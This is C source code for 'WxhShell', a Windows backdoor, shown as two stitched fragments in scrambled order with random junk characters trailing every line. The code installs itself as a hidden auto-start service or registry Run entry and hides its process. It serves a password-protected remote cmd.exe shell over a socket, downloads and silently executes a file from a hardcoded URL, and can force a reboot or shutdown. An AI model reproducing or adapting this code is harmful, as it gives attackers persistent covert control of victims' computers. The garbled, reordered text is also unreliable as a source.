    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GCf,Gfmr  
    if(Boot(SHUTDOWN)) vtq$@#?~ b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @C-03`JWuK  
    else { f=k_U[b4>  
    closesocket(wsh); OZc4 -5  
    ExitThread(0); BLN|QaZ  
    } H )51J:4  
    break; AH{#RD  
    } +0}z3T1L  
  // 获取shell 6Hbu7r*tm  
  case 's': { t4iD<{4  
    CmdShell(wsh); M>E~eb/  
    closesocket(wsh); @)\4 $#+-  
    ExitThread(0); Rh}}8 sv  
    break; #x qiGK  
  } 3k3 C\Cw  
  // 退出 _9g-D9  
  case 'x': { 8.,d`~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .TMLg(2hgv  
    CloseIt(wsh); IRGcE&m  
    break; MaPOmS8?  
    } Fw\g\  
  // 离开 ^T:L6:  
  case 'q': { ZNVrja*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); G6QD`ED  
    closesocket(wsh); l A%FS]vh  
    WSACleanup(); 2X<%BFsE  
    exit(1); FDFwx|  
    break; 0 N"N$f  
        } |Fz ^(US  
  } =A!r ZG  
  } jST4O"DjM  
pd B\D  
  // 提示信息 y XKddD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W]oa7VAq  
} 06O_!"GD}  
  } CuD}Uo+u  
GeDI\-  
  return; ,{mv6?_  
} 99.F'Gz  
_1Q6FI5iR  
// shell模块句柄 w >2sr^!y  
int CmdShell(SOCKET sock) n$N$OFuO  
{ }zks@7kf  
STARTUPINFO si; LPBa!fq  
ZeroMemory(&si,sizeof(si)); y>.t[*zT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RyP MzxV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <}:` Y"  
PROCESS_INFORMATION ProcessInfo; j g//I<D  
char cmdline[]="cmd"; gROK4'j6y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F)KR8 (  
  return 0; % YK xdp  
} ^D5Jqh)  
^GAJ9AF@(  
// 自身启动模式 r<vy6  
int StartFromService(void) rrr_{d/  
{ a _+?#m  
typedef struct i^e8.zgywF  
{ r88De=*  
  DWORD ExitStatus; "!D y[J  
  DWORD PebBaseAddress; L-}J=n\  
  DWORD AffinityMask; (ix.  
  DWORD BasePriority; 5?F5xiW  
  ULONG UniqueProcessId; lyX3'0c  
  ULONG InheritedFromUniqueProcessId; WB?HY?[r  
}   PROCESS_BASIC_INFORMATION; |4g0@}nr+W  
m0 As t<u  
PROCNTQSIP NtQueryInformationProcess; JLnv O  
c\2rKqFD8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aUzCKX%>C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4")`}T  
(bQ3:%nD  
  HANDLE             hProcess; 3r, ~-6  
  PROCESS_BASIC_INFORMATION pbi; ;RJ 8h x  
ZaU8eg7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #kASy 2t  
  if(NULL == hInst ) return 0; p d#Sn+&rf  
A $gn{ c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {='Bd6_=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UL-_z++G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l>}f{az-T  
T"[]'|'  
  if (!NtQueryInformationProcess) return 0; ^\AeX-q2v'  
Z.Yq)\it  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?' .AeoE-  
  if(!hProcess) return 0; gr SF}y!3  
.a]#AFX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {?eUAB<  
[K.1 X=O}  
  CloseHandle(hProcess); 8rH6L:]S  
];LFv5"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d(o=)!p  
if(hProcess==NULL) return 0; #dj?^n g  
^" X.aksA  
HMODULE hMod; (tX3?[ii  
char procName[255];  >Ua'*  
unsigned long cbNeeded; yl~_~<s6  
e4YP$}_L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \4q|Qno8  
L"|Bm{Run  
  CloseHandle(hProcess); &\N>N7/1  
cx$IWQf2  
if(strstr(procName,"services")) return 1; // 以服务启动 +QU>D:l  
>MHlrSH2  
  return 0; // 注册表启动 FKTF?4+\U  
} kun/KY  
8x U*j  
// 主模块 ]8\I{LR  
int StartWxhshell(LPSTR lpCmdLine) (QiA5!wg  
{ MqnUym  
  SOCKET wsl; &/? Ct!_  
BOOL val=TRUE; G kjfDY:  
  int port=0; {h@\C|nF  
  struct sockaddr_in door; 4w^o !  
sQa;l]O:NC  
  if(wscfg.ws_autoins) Install(); WFOJg&  
[i`  
port=atoi(lpCmdLine); {R!yw`#^B  
;o!p9MEpz;  
if(port<=0) port=wscfg.ws_port; \b"rf697 ,  
U=.PL\  
  WSADATA data; {h?pvH_>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  2h   
}`B .(3n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G%erh}0~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fY!?rZ)$  
  door.sin_family = AF_INET; JXK\mah  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2!^=G=H/  
  door.sin_port = htons(port); i)o;,~ee  
?bB>}:~j)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N-M.O:p  
closesocket(wsl); ^3$l!>me  
return 1; )hZ7`"f,ZN  
} 1MLL  
%bDxvaftT  
  if(listen(wsl,2) == INVALID_SOCKET) { + Q-b}  
closesocket(wsl); %#x4wi  
return 1; OUv<a `0  
} k&dXK  
  Wxhshell(wsl); d05xn7%!{  
  WSACleanup(); jSY[Y:6md  
Zhq_ pus"a  
return 0; nje7?Vz  
+~^S'6yB  
} V.GM$  
U**8^:*y#:  
// 以NT服务方式启动 Rd#R}yA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M~:_^B  
{ P1eSx#3bR  
DWORD   status = 0; d&#_t@%  
  DWORD   specificError = 0xfffffff; ]RCo@QW  
]8p{A#1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .@VZ3"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y]j.PT`Cw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]01`r/->\  
  serviceStatus.dwWin32ExitCode     = 0; 2)f_L|o,m  
  serviceStatus.dwServiceSpecificExitCode = 0;  Unk/uk  
  serviceStatus.dwCheckPoint       = 0; ,;g%/6X  
  serviceStatus.dwWaitHint       = 0; Xh@K89`uX  
rnIj pc F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -zg*p&F  
  if (hServiceStatusHandle==0) return; ?@b6(f xX  
[6!k:-t+  
status = GetLastError(); LDlYLs F9  
  if (status!=NO_ERROR) -b-a21,m>  
{ ]Ur/DRNS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WPNB!" E98  
    serviceStatus.dwCheckPoint       = 0; fs! dI  
    serviceStatus.dwWaitHint       = 0; mfr aw2H  
    serviceStatus.dwWin32ExitCode     = status; qOo4T@ t3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 46C%at M0}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ReaZg ?:h  
    return; E|@C:ghG  
  } *rq*li;  
qezWfR`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fbq$:Q44  
  serviceStatus.dwCheckPoint       = 0; A0{xt*g   
  serviceStatus.dwWaitHint       = 0; Z0<Vss  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'm`O34h  
} !1$x4 qxS  
`^)`J  
// 处理NT服务事件,比如:启动、停止 {<-s&%/r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j\uZo.Ot+  
{ b<a3Ue%  
switch(fdwControl) bQaRl=:[:  
{ UFB|IeX?q  
case SERVICE_CONTROL_STOP: )PN8HJAArh  
  serviceStatus.dwWin32ExitCode = 0; .eJKIck  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ('z=/"(l  
  serviceStatus.dwCheckPoint   = 0; %xgP*%Sv2  
  serviceStatus.dwWaitHint     = 0; uX7L1~s-  
  { o]? yyP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :|j[{;asY  
  } ioi/`iQR  
  return; $xu2ZBK  
case SERVICE_CONTROL_PAUSE: [MeivrJ+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )q$[uS_1[  
  break; 01n!T2;yW}  
case SERVICE_CONTROL_CONTINUE: #(] D]f[@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >@N.jw>#T  
  break; WA n@8!9  
case SERVICE_CONTROL_INTERROGATE: _c]}m3/  
  break; 2-F7tcya|  
}; +k=*AQt^8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+/Lt>+AS  
} nDkG}Jk B!  
2tz4Ag  
// 标准应用程序主函数 L4iWR/&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BFNO yv  
{ dz#"9i5b  
0hS&4nW  
// 获取操作系统版本 ZRhk2DA#FF  
OsIsNt=GetOsVer(); oypLE=H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jnV#Q ;  
H [+'>Id:  
  // 从命令行安装 sD3Ts;k  
  if(strpbrk(lpCmdLine,"iI")) Install(); i?_Q@uA~<:  
>D=X Tgqqq  
  // 下载执行文件 :$Cm]RZ  
if(wscfg.ws_downexe) { uNf'Zeo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zZ}. 2He8  
  WinExec(wscfg.ws_filenam,SW_HIDE); !d##q)D f?  
} t(}Y/'  
8z93ETv7`  
if(!OsIsNt) { {Lju7'5L  
// 如果时win9x,隐藏进程并且设置为注册表启动 ceg\lE:8  
HideProc(); z{R Mb  
StartWxhshell(lpCmdLine); :/->m6C`0  
} .Z 7t E?  
else }ll&EB  
  if(StartFromService()) _~Lu%   
  // 以服务方式启动 o=VZ7]  
  StartServiceCtrlDispatcher(DispatchTable); ['(qeS@5O  
else OBFM70K  
  // 普通方式启动 X'd\b}Bm  
  StartWxhshell(lpCmdLine); #cR5k@  
?r;F'%N=  
return 0; 2Jo|P A` 9  
} :MDFTw~|  
+46& Zb35  
FUI/ A >  
ca &zYXy  
=========================================== Fkv284,LM  
E=.J*7  
S?DMeZ{:  
ZrYRLg  
oKRI2ni$j9  
 uvDOTRf  
" r 8N<<^  
8U#14U5rS  
#include <stdio.h> M!G/5:VZ  
#include <string.h> @sR/l;  
#include <windows.h> "<oR.f=0  
#include <winsock2.h> c7rC!v  
#include <winsvc.h> UeUOGf ,  
#include <urlmon.h> >U:-U"rA?  
Jcvp<  
#pragma comment (lib, "Ws2_32.lib") MO]zf3f!  
#pragma comment (lib, "urlmon.lib") 9aID&b +  
$7-4pW$y  
#define MAX_USER   100 // 最大客户端连接数 x!4<ff.  
#define BUF_SOCK   200 // sock buffer 5=s|uuw/  
#define KEY_BUFF   255 // 输入 buffer E]Cm#B  
n`Ypv{+ {%  
#define REBOOT     0   // 重启 ubl Y%{"  
#define SHUTDOWN   1   // 关机 7CT446  
CyS.GdyP  
#define DEF_PORT   5000 // 监听端口  @C'qbO{  
N,)rrBD  
#define REG_LEN     16   // 注册表键长度 * se),CP!s  
#define SVC_LEN     80   // NT服务名长度 rp-.\Hl/a  
Or1ikI"  
// 从dll定义API ,=6;dT  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T.!.3B$@]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t-FrF</ 0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P\X$fD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N8wA">u  
Kn+B):OY+  
// wxhshell配置信息 K`R  
struct WSCFG { )=h+5Z>E1  
  int ws_port;         // 监听端口 cT JG1'm  
  char ws_passstr[REG_LEN]; // 口令 Jpe\  
  int ws_autoins;       // 安装标记, 1=yes 0=no n\scOM)3  
  char ws_regname[REG_LEN]; // 注册表键名 v~O2y>8Z  
  char ws_svcname[REG_LEN]; // 服务名 ^@maF<Jb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 orF8%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xirZ.wjW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &ZPyZj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5DeAH ;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2K(zYv54  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /vPcg  
M[dJQ (  
}; ADZU?7)  
^X?3e1om  
// default Wxhshell configuration 6c#1Do(W+  
struct WSCFG wscfg={DEF_PORT, P_c9v/  
    "xuhuanlingzhe", oGZ%w4T  
    1, z!\)sL/"  
    "Wxhshell", I_h&35^t  
    "Wxhshell", l:VcV  
            "WxhShell Service", (^Hpe5h&  
    "Wrsky Windows CmdShell Service", K<w$  
    "Please Input Your Password: ", &qFy$`"  
  1, }W* q  
  "http://www.wrsky.com/wxhshell.exe", $~.'Tnk)  
  "Wxhshell.exe" }Ias7d?re  
    }; [[0u|`T/  
6M_,4> -  
// 消息定义模块 | Xk>a7X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~Wj. 4b*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >*goDtTjp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9r hl2E  
char *msg_ws_ext="\n\rExit."; }EWPLJA  
char *msg_ws_end="\n\rQuit."; _ye74$#  
char *msg_ws_boot="\n\rReboot..."; =ET|h}I  
char *msg_ws_poff="\n\rShutdown..."; CrI:TB>/ "  
char *msg_ws_down="\n\rSave to "; n[`FoY  
/jv4# 9  
char *msg_ws_err="\n\rErr!"; OuF%!~V   
char *msg_ws_ok="\n\rOK!"; qm=N@@R&  
3rw<#t;v  
char ExeFile[MAX_PATH]; \B~}s}  
int nUser = 0; %Y//}  
HANDLE handles[MAX_USER]; le J\  
int OsIsNt; -mK;f$X  
N3g\X  
SERVICE_STATUS       serviceStatus; "_  i:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RW04>oxVn  
8!(09gW'>  
// 函数声明 g/6>>p`J  
int Install(void); yd4\%%]  
int Uninstall(void); m_g2Cep  
int DownloadFile(char *sURL, SOCKET wsh); v46 5Z  
int Boot(int flag); j>-O'CO  
void HideProc(void); ^9*kZV<K  
int GetOsVer(void); q t!0#z8  
int Wxhshell(SOCKET wsl); TmIw?#q^  
void TalkWithClient(void *cs); Q9h;`G 7t  
int CmdShell(SOCKET sock); $,9A?'  
int StartFromService(void); m]#oZVngy  
int StartWxhshell(LPSTR lpCmdLine); Doj>Irj? 7  
2Ub!wee  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f,}9~r #  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0<C]9[l  
%DR8M\d1~H  
// 数据结构和表定义 VuWBWb?0Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Td/J6Q9 0  
{ yO`HL'SMo  
{wscfg.ws_svcname, NTServiceMain}, xaG( 3  
{NULL, NULL} [uD G;We=  
}; Q=~ *oYR  
TKBW2  
// 自我安装 6./3w&D;  
int Install(void) 6A9 r{'1  
{ E +!A0!1  
  char svExeFile[MAX_PATH]; EAPjQA-B?  
  HKEY key; + #V.6i  
  strcpy(svExeFile,ExeFile); >`(]&o6<$  
1rLK1X  
// 如果是win9x系统,修改注册表设为自启动 \7U'p:h=U  
if(!OsIsNt) { zIT)Hs5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b>Em~NMu_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 82*nC!P3E  
  RegCloseKey(key); cA8A^Iv:0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _aj,tz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U1^3 &N8  
  RegCloseKey(key); P")1_!  
  return 0; O-jpS?@  
    } jC}2>_#m(  
  } UHT2a9rG  
} sm?V%NX&  
else { wFX>y^ 1  
k ^(RSu<  
// 如果是NT以上系统,安装为系统服务 /c:78@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qb 1JE[2F  
if (schSCManager!=0) mo()l8  
{ NA;OT7X[  
  SC_HANDLE schService = CreateService ')#!M\1,HQ  
  ( .:/[%q{k  
  schSCManager, I92orr1  
  wscfg.ws_svcname, 9T;DFUM  
  wscfg.ws_svcdisp, e[l#r>NT  
  SERVICE_ALL_ACCESS, eRm 9LOp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6O0CF}B*  
  SERVICE_AUTO_START, ' |Ia-RbX  
  SERVICE_ERROR_NORMAL, @h)Z8so  
  svExeFile, 6s(.u l  
  NULL, LzGSN  
  NULL, cl1>S3  
  NULL, l:- <CbG  
  NULL, (F=q/lK$  
  NULL  Xn=  
  ); w gU2q|  
  if (schService!=0) wT@{=s,  
  { h6~ H5X  
  CloseServiceHandle(schService); u%b.#!  
  CloseServiceHandle(schSCManager); 7Q>bJ Ek7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Bm4fdf#A]  
  strcat(svExeFile,wscfg.ws_svcname); He)vl.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Gk-49|qIV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,%<ICusZ  
  RegCloseKey(key); O0RV>Ml'&  
  return 0; Zt/4|&w  
    } d8ck].m=  
  } 8d1r#sILI  
  CloseServiceHandle(schSCManager); *Eg[@5;QA  
} N.F //n  
} Scd_tw.]|  
,,+iPGa<  
return 1; x.kIzI5  
} P TMJ.;  
JxmFUheLt  
// 自我卸载 #M@Ki1  
int Uninstall(void) D*}_L   
{ k@}g?X`8  
  HKEY key; witx_r  
/vNHb _-  
if(!OsIsNt) { ')zf8>,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O/Mx $Q3re  
  RegDeleteValue(key,wscfg.ws_regname); y#v<V1b]  
  RegCloseKey(key); E'+?7ZGWj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J. $U_k  
  RegDeleteValue(key,wscfg.ws_regname); /zg|I?$>Z4  
  RegCloseKey(key); 8fWk C<f}  
  return 0; Ex -?[Hq  
  } <_3OiU= w  
} N}CeQ'l[R  
} pE381Cw  
else { HyC826~-rI  
sh)[|?7z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]=]fIKd  
if (schSCManager!=0) <~ }NxY\5  
{ $SfYO!n7Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e N^6gub  
  if (schService!=0) XOT|:  
  { ;D|g5$OE&  
  if(DeleteService(schService)!=0) { w)Z-, J  
  CloseServiceHandle(schService); bzyy;`;6Q~  
  CloseServiceHandle(schSCManager); m8<.TCIQ  
  return 0; fb?YDM  
  } Lk2;\D>  
  CloseServiceHandle(schService); o]TKL'gW  
  } bY}:!aR<mK  
  CloseServiceHandle(schSCManager); X?++I 4\  
} bBY7^k  
} a\*_b2 ^n  
8;$zD]{D1  
return 1; ZmAo9>'Kg  
} MuF{STE>->  
;( [^+_/  
// 从指定url下载文件 ~S~4pK  
int DownloadFile(char *sURL, SOCKET wsh) F*p@hl  
{ D_M73s!U  
  HRESULT hr; s|D[_N!|  
char seps[]= "/"; irF+(&q]jh  
char *token; k{J\)z  
char *file; TT^L) d  
char myURL[MAX_PATH]; \{. c0  
char myFILE[MAX_PATH]; N) '|l0x0  
NX8. \Pf#  
strcpy(myURL,sURL); @*=eqO  
  token=strtok(myURL,seps); AHet,N  
  while(token!=NULL) [ z,6K=  
  { 4P?R "Lk  
    file=token; nG~^-c+  
  token=strtok(NULL,seps); ~F[JupU  
  } +[7 DRT:  
51 "v`O+  
GetCurrentDirectory(MAX_PATH,myFILE); PQXCT|iJ  
strcat(myFILE, "\\"); .#LvvAeh  
strcat(myFILE, file); Cuc+9  
  send(wsh,myFILE,strlen(myFILE),0); & Tkl-{I  
send(wsh,"...",3,0); VJS1{n=;k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~\u~>mtchu  
  if(hr==S_OK) #:8V<rc^  
return 0; =8A L>:_  
else "c*#ZP  
return 1; %afz{a5  
"ZP)[ [Rd  
} ZM_-g4[H  
XGAR8=tic  
// 系统电源模块 ?OC&=}  
int Boot(int flag) (r/))I9^  
{ ?i$MinK  
  HANDLE hToken; H]( TSt<Q"  
  TOKEN_PRIVILEGES tkp; +r$VrNVs  
&IP`j~ b  
  if(OsIsNt) { rTzXRMv@o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YLp#z8 1e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @+hO,WXN  
    tkp.PrivilegeCount = 1; BHR(B]EI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .NMZHK?%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +kx#"L:  
if(flag==REBOOT) { uo3o[ H&#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6c*QBzNL  
  return 0; a 1~@m[  
} YbJB.;qK  
else { W.> }5uVl6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n!L}4Nmp  
  return 0; K<p)-q  
} yH(%*-S  
  } p{;FO?  
  else { B:fulgh2ni  
if(flag==REBOOT) { LT:8/&\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sPRs;to-  
  return 0; e|4U2\&3y  
} iz2;xa*  
else { ?zK\!r{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "cGjHy\j`  
  return 0;  ?S'Wd=  
} D:XjJMW3r  
} v\-7sgZR  
J'*`K>wV  
return 1; RC^k#+  
} I]Vkaf I>(  
]QKKt vN  
// win9x进程隐藏模块 "T.Qb/97@  
void HideProc(void) s$xm  
{ U?j[ 8z  
1(qL),F;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *_eY +\j  
  if ( hKernel != NULL ) qTV.DCP  
  { R@2*Lgxz~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z(BZG O<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3e1^r_YI  
    FreeLibrary(hKernel); t{O2JF#5u  
  } B1 xlWdm  
/;`-[   
return; )pw53,7>aN  
} B+[L/C}=;  
}h=3[pe}  
// 获取操作系统版本 *u!l"0'\  
int GetOsVer(void) ]Mj N)%hT  
{ ~Z5Wwp]a  
  OSVERSIONINFO winfo; S~V?Qe@&Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TchByN6oN<  
  GetVersionEx(&winfo); OGPrjL+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ns.{$'ll  
  return 1; 8\m[Nuq5  
  else Ee'wsL  
  return 0; tTPjCl  
} <4%PT2R  
"*N]Y^6/A  
// 客户端句柄模块 cL:hjr"  
int Wxhshell(SOCKET wsl) _q`f5*Z[  
{ xDIl  
  SOCKET wsh; Q=#Wk$1.  
  struct sockaddr_in client;  8s>OO&  
  DWORD myID; #XeabcOQ  
qnnP*15`  
  while(nUser<MAX_USER) #w;%{C[D  
{ 5>&C.+A 9  
  int nSize=sizeof(client); Env_??xq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [wcp2g3Px  
  if(wsh==INVALID_SOCKET) return 1; W+#Zmvo  
YH{FTVOt{C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _tfi6UQ&lY  
if(handles[nUser]==0) E*8).'S%k  
  closesocket(wsh); ^'$P[  
else c)zwyBz  
  nUser++; k9iB-=X?4s  
  } `,)%<}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [\.@,Y0j  
2,G9~<t  
  return 0; pt~b=+bBm  
} 'E%+ O  
"K#zY~>L  
// 关闭 socket w'<"5F`  
void CloseIt(SOCKET wsh) Il$Jj-)  
{ #80M+m  
closesocket(wsh); N6!$V7oT  
nUser--; +P;&/z8i*g  
ExitThread(0); 2~QN#u|UC3  
} u-HBmL  
=Y-mc#{8  
// 客户端请求句柄 n<Z1i)  
void TalkWithClient(void *cs) Ypw:Vp  
{ QP!0I01  
$'Qv {  
  SOCKET wsh=(SOCKET)cs; "i; "  
  char pwd[SVC_LEN]; ^MUvd  
  char cmd[KEY_BUFF]; l6< bV#_qe  
char chr[1]; [,ZHn$\  
int i,j; d8M8O3  
OLyl.#J  
  while (nUser < MAX_USER) { u51Lp  
YUQKy2  
if(wscfg.ws_passstr) { 7^DN8g"&\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y!jq!faqt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gt Rs||  
  //ZeroMemory(pwd,KEY_BUFF); ,=`iQl3(y/  
      i=0; +cC$4t0$^A  
  while(i<SVC_LEN) { qruv^#_l   
^_JByB D  
  // 设置超时 zfm#yDf  
  fd_set FdRead; ?TY/'-M5  
  struct timeval TimeOut; @;h$!w<  
  FD_ZERO(&FdRead); #iP5@:!Wm~  
  FD_SET(wsh,&FdRead); 9Vtn62+  
  TimeOut.tv_sec=8; poVtg}n  
  TimeOut.tv_usec=0; 4>t=r\"4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UGK,+FN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |TCg`ZS`cZ  
"&1h<>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uui3jZ:  
  pwd=chr[0]; Z,5B(Xj  
  if(chr[0]==0xd || chr[0]==0xa) { d@>1m:p  
  pwd=0; c^`(5}39v  
  break; g0A,VX:2  
  } R6-Z]H u  
  i++; L~ e{Vv8UR  
    } n_@cjO  
L3y`*&e>  
  // 如果是非法用户,关闭 socket b0 y*}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %2<u>=6byG  
} !MQVtn^C#  
B%/N{i*Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b]@@x;v$@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wtqv  
^4[|&E:  
while(1) { o1)8?h  
Geyj`t  
  ZeroMemory(cmd,KEY_BUFF); ]j57Gk%z  
+z?SKc  
      // 自动支持客户端 telnet标准   v `7`'  
  j=0; GNab\M.  
  while(j<KEY_BUFF) { x0$#8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -1c{Jo  
  cmd[j]=chr[0]; j xTYW)E   
  if(chr[0]==0xa || chr[0]==0xd) { =w2_1F"  
  cmd[j]=0; a474[?  
  break; CCU<t Q  
  } HAc1w]{(  
  j++; >j_N6B!  
    } od RtJ[   
fe!{vrS  
  // 下载文件 8N9X1Mb|  
  if(strstr(cmd,"http://")) { g<PglRr"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `F4gal^ ^  
  if(DownloadFile(cmd,wsh)) vmIt!x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E>Lgf&R#W  
  else H?tX^HO:q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [LDY;k~5+  
  } 'rDai [  
  else { )Rr0f 8  
@tg4rl  
    switch(cmd[0]) { S0mzDLgE  
